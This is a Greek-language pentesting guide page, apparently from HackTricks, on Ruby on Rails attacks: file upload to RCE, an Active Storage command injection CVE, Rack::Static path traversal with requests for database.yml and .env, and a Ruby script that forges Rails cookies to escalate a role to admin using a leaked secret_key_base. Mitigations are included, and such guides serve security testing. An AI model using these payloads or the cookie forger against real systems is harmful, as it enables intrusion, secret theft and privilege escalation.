7.5 KiB
Raw Blame History

Ruby Tricks

{{#include ../../banners/hacktricks-training.md}}

File upload to RCE

Όπως εξηγείται στο this article, η μεταφόρτωση ενός .rb αρχείου σε ευαίσθητους καταλόγους όπως config/initializers/ μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.

Συμβουλές:

  • Άλλες τοποθεσίες boot/eager-load που εκτελούνται κατά την εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες αν είναι εγγράψιμες (π.χ., config/initializers/ είναι το κλασικό παράδειγμα). Αν βρείτε μια αυθαίρετη μεταφόρτωση αρχείου που καταλήγει οπουδήποτε κάτω από το config/ και αργότερα αξιολογείται/required, μπορεί να αποκτήσετε RCE κατά την εκκίνηση.
  • Αναζητήστε dev/staging builds που αντιγράφουν user-controlled αρχεία μέσα στο container image όπου το Rails θα τα φορτώσει κατά την εκκίνηση.

Active Storage image transformation → command execution (CVE-2025-24293)

Όταν μια εφαρμογή χρησιμοποιεί Active Storage με image_processing + mini_magick, και περνά μη αξιόπιστες παραμέτρους σε μεθόδους μετατροπής εικόνας, εκδόσεις του Rails πριν από 7.1.5.2 / 7.2.2.2 / 8.0.2.1 ενδέχεται να επιτρέπουν command injection επειδή ορισμένες μεθόδοι μετατροπής επιτράπηκαν κατά λάθος από προεπιλογή.

  • Ένα ευάλωτο μοτίβο μοιάζει με:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

όπου params[:t] και/ή params[:v] ελέγχονται από τον attacker.

  • Τι να δοκιμάσετε κατά τις δοκιμές

  • Εντοπίστε endpoints που δέχονται variant/processing επιλογές, ονόματα μετατροπών ή αυθαίρετα ImageMagick arguments.

  • Fuzzάρετε τα params[:t] και params[:v] για ύποπτα σφάλματα ή side-effects εκτέλεσης. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να πετύχετε code exec στον host που επεξεργάζεται τις εικόνες.

  • Αν έχετε μόνο πρόσβαση ανάγνωσης στα παραγόμενα variants, επιχειρήστε blind exfiltration μέσω crafted ImageMagick operations.

  • Αντιμετώπιση/ανιχνεύσεις

  • Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage + image_processing + mini_magick και user-controlled μετατροπές, θεωρήστε το εκμεταλλεύσιμο. Συνιστάται αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους και ενίσχυση της πολιτικής ImageMagick.

Rack::Static LFI / path traversal (CVE-2025-27610)

Αν το target stack χρησιμοποιεί Rack middleware απευθείας ή μέσω frameworks, εκδόσεις του rack πριν από 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω Rack::Static όταν το :root δεν έχει οριστεί ή είναι λανθασμένα διαμορφωμένο. Κωδικοποιημένο traversal στο PATH_INFO μπορεί να αποκαλύψει αρχεία κάτω από το process working directory ή ένα απροσδόκητο root.

  • Αναζητήστε εφαρμογές που mountάρουν Rack::Static στο config.ru ή στις middleware stacks. Δοκιμάστε κωδικοποιημένα traversals ενάντια σε static μονοπάτια, για παράδειγμα:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Προσαρμόστε το prefix για να ταιριάξει με τα ρυθμισμένα urls:. Αν η εφαρμογή απαντήσει με περιεχόμενο αρχείου, πιθανότατα έχετε LFI σε οτιδήποτε κάτω από το επιλυμένο :root.

  • Mitigation: αναβαθμίστε το Rack· βεβαιωθείτε ότι το :root δείχνει μόνο σε έναν κατάλογο δημόσιων αρχείων και έχει οριστεί ρητά.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (π.χ., σε repo, logs, ή misconfigured credentials), μπορείτε συνήθως να decrypt, modify και re-encrypt τα cookies. Αυτό συχνά οδηγεί σε authz bypass αν η εφαρμογή αποθηκεύει roles, user IDs, ή feature flags στα cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Σημειώσεις:

  • Παλαιότερες εφαρμογές ενδέχεται να χρησιμοποιούν AES-256-CBC και salts encrypted cookie / signed encrypted cookie, ή JSON/Marshal serializers. Προσαρμόστε ανάλογα τα salts, τον cipher και τον serializer.
  • Σε περίπτωση παραβίασης ή κατά την αξιολόγηση, αλλάξτε το secret_key_base για να ακυρώσετε όλα τα υπάρχοντα cookies.

Δείτε επίσης (ευπάθειες ειδικές για Ruby/Rails)

  • Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-class-pollution.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}}
  • Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}}

Αναφορές